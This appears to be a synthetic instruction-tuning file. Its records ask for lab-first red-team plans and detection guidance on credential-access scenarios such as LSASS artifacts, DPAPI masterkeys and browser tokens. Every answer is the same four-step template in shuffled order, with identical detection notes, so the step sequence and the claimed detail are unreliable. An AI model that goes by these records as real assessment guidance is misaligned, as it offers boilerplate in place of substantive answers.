{"instruction": "Backups containing sensitive account data: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 4: Document detection opportunities and recommend telemetry to capture similar activity.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "DPAPI masterkeys located for certain profiles: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "DPAPI masterkeys located for certain profiles", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Potential LSASS artifacts on host: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Potential LSASS artifacts on host", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Correlate artifacts with logs to determine timeline and scope.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Config files referencing service credentials: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Config files referencing service credentials", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Browser tokens present in user profile: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Browser tokens present in user profile", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Correlate artifacts with logs to determine timeline and scope.\n\nStep 4: Preserve artifacts and copy them for offline analysis in a lab.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Document detection opportunities and recommend telemetry to capture similar activity.\n\nStep 4: Avoid live testing against production services; validate techniques in a replica environment.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
{"instruction": "Backups containing sensitive account data: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.", "input": "Backups containing sensitive account data", "output": "Step 1: Confirm authorization and scope before proceeding.\n\nStep 2: Preserve artifacts and copy them for offline analysis in a lab.\n\nStep 3: Avoid live testing against production services; validate techniques in a replica environment.\n\nStep 4: Correlate artifacts with logs to determine timeline and scope.\n\nDefender detection notes:\n\n  - Unusual process memory access or credential-dump related telemetry.\n\n  - Unexpected access to backup or config repositories.\n\nMitigations & hardening:\n\n  - Apply Credential Guard, limit backup access, and harden DPAPI storage.\n\nNote: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning."}
